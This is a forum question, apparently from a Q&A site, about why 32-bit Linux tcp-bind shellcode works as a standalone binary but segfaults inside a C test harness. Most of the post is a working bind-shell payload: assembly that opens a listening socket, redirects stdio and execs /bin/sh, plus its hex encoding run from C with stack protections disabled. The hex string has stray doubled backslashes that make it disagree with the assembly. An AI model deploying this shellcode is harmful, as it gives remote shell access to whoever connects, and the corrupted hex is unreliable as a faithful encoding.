title: 32-bit shellcode executes in assembly but not in c on 64-bit os even with -m32
body: <p>I'm working on a tcp-bind shellcode for a 32-bit system. The code is sitting on a 32-bit ubuntu and the host os is 64 Bit Windows 10 (do they even make 32 bit windows 10?)</p>
  
  <p>The shellcode is a tcp-bind. It executes fine as its own standalone executable but when the code is converted to hex and is put into a c test program there is a segmentation fault. This occurs even when using
          gcc -m32 -fno-stack-protector -z execstack</p>
  
  <p>Here's the shellcode disassembled</p>
  
  <pre><code>    global _start
  
      section .text
      _start:
      xor edi, edi
  
      ; Socket Call
      mov al, 0x66    ;SysSocket syscall
      mov bl, 1     ; Socket call
      push edi        ; INADDR_ANY
      push 1  ; SOCK_STREAM
      push 2  ; AF_INET
      mov ecx, esp    ; long *args
      int 0x80
  
  
      ;Bind
      mov edx, eax    ; reurn of Socket call is sockfd, place into edi
      mov al, 0x66    ; SysSocket syscall
      inc bl  ; Bind call
      push edi; INADDR_ANY
      push word 0x3582; Port Number
      push word 2     ; AF_INET
      mov ecx, esp
      push 16         ;addrlen
      push ecx        ;*sockaddr
      push edx        ;SockFD
      mov ecx, esp
      int 0x80
  
      ;Listen
      mov al, 0x66
      add bl, 2
      push edi
      push edx
      mov ecx, esp
      int 0x80
  
      ;Accept
      mov al, 0x66
      inc bl
      push edi
      push edi;
      push edx
      mov ecx, esp
      int 0x80
  
      ;ready for dup2
  
      xchg ebx, eax
      xor ecx, ecx
      mov cl, 2
  
  
      loop:
      mov al, 63
      int 0x80
      dec ecx
      cmp ecx, edi
      jge loop
      ; PUSH the first null dword
      push edi
  
      ; PUSH //bin/sh (8 bytes)
  
      push 0x68732f2f
      push 0x6e69622f
  
      mov ebx, esp
  
      push edi
      mov edx, esp
  
      push ebx
      mov ecx, esp
  
      mov al, 11
      int 0x80
  </code></pre>
  
  <p>And here's the C code:</p>
  
  <pre><code>    #include&lt;stdio.h&gt;
      #include&lt;string.h&gt;
  
      unsigned char code[] = \ 
      "\x31\xff\xb0\x66\xb3\x01\x57\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2        
      \xb0\x66\xfe\xc3\x57\x66\x68\x82\x35\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52
      \x89\xe1\xcd\x80\xb0\x66\x80\xc3\x02\x57\x52\x89\xe1\xcd\x80\xb0\x66\xfe
      \xc3\x57\\x57\x52\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80
      \x49\x39\xf9\\x7d\xf7\x57\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
      \x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  
      main()
      {
  
      printf("Shellcode Length:  %d\n", strlen(code));
  
      int (*ret)() = (int(*)())code;
  
      ret();
  
      }
  </code></pre>
  
  <p>Any help to figuring out when I can't execute in C and how to fix would greatly appreciated, please. Thanks!</p>
  
  <p>I hold no liability for those that wish to use this code. </p>